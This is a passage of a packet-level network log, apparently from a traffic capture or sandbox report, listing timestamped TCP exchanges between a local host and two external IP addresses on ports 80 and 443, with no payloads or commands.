Oct 24, 2024 19:30:15.287265062 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287280083 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287280083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287308931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287333965 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287345886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287359953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287373066 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287377119 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287389994 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287396908 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287411928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287416935 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287427902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287431002 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287451029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287466049 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287468910 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287480116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287489891 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287504911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287518024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287532091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287535906 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287554979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287555933 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287570953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287585974 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287585974 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287601948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287609100 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287617922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287621975 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287633896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287635088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287650108 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287650108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287666082 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287666082 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287679911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287683964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287697077 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287699938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287714958 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287714958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287734032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287811041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287825108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287827969 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287847042 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287848949 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287869930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287878036 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287880898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287897110 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287898064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287914038 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287929058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287929058 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287944078 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287952900 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287960052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287972927 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288014889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288014889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288023949 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288068056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288072109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288090944 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288105965 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288113117 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288125038 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288146019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288283110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288297892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288317919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288326979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288328886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288340092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288342953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288357973 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288361073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288374901 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288383961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288403988 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288436890 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288450956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288465023 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288477898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288480997 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288495064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288496017 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288511992 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288511992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288531065 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288572073 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288584948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288600922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288614988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288630009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288635015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288635015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288652897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288667917 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288667917 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288681984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288696051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288698912 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288708925 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288711071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288727999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288742065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288743019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288743019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288757086 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.288757086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.288774967 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289017916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289031982 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289051056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289066076 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289082050 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289160013 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289179087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289194107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289207935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289221048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289230108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289238930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289238930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289243937 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289258003 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289258957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289268970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289275885 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289292097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289304972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289304972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289328098 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289347887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289355040 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289365053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289382935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289383888 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289397955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289412975 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289417028 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289417028 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289429903 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289437056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289441109 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289453983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289464951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289475918 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289484024 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289493084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289501905 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289514065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289531946 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289540052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289555073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289562941 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289571047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289577007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289587975 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289597034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289611101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289622068 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289627075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289628983 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289649963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289664984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289671898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289681911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289699078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289699078 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289716005 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289716005 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289731979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289735079 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289747953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289751053 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289763927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289768934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289781094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289786100 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289797068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289799929 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289813042 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289818048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289829969 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289829969 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289844036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289844990 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289860964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289875984 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289892912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289896011 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289901018 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289901972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289905071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289911985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289926052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289927959 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289942026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.289956093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.289971113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290071011 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290085077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290111065 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290124893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290124893 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290141106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290155888 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290165901 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290215969 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290242910 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290261030 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290271997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290276051 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290280104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290286064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290288925 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290303946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290307999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290318966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290333986 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290338993 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290352106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290396929 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290414095 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290419102 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290440083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290448904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290463924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290467024 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290479898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290482044 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290494919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290496111 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290513039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290513039 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290533066 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290534019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290544033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290554047 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290561914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290563107 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290577888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290592909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290596962 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290617943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290627003 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290642023 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290649891 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290658951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290673971 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290676117 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290688992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290703058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290704012 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290704012 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290718079 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290734053 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290802002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290816069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290831089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290848970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290849924 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290863991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290879011 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290879011 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290894032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290894985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290910006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290925980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.290927887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290927887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290945053 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.290961981 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.497714996 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.497798920 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.499596119 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.499607086 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.499844074 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.501792908 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.501836061 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.501862049 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649305105 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649378061 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649411917 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649440050 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649456024 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.649482965 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649502039 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.649540901 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.649949074 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.650096893 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.650114059 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.650125980 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.650131941 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.740446091 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.740482092 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:15.740555048 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.741286039 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:15.741297960 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.381691933 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.381753922 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.409204960 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.409276009 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.409552097 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.410741091 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.410772085 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.410824060 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911174059 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911225080 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911257029 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911278009 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.911297083 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911336899 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911338091 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.911346912 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911391973 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.911400080 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911612988 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911654949 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911659956 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:16.911667109 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:16.911704063 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.027131081 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.027209044 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.027250051 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.027262926 CEST	49994	443	192.168.2.5	104.21.53.8
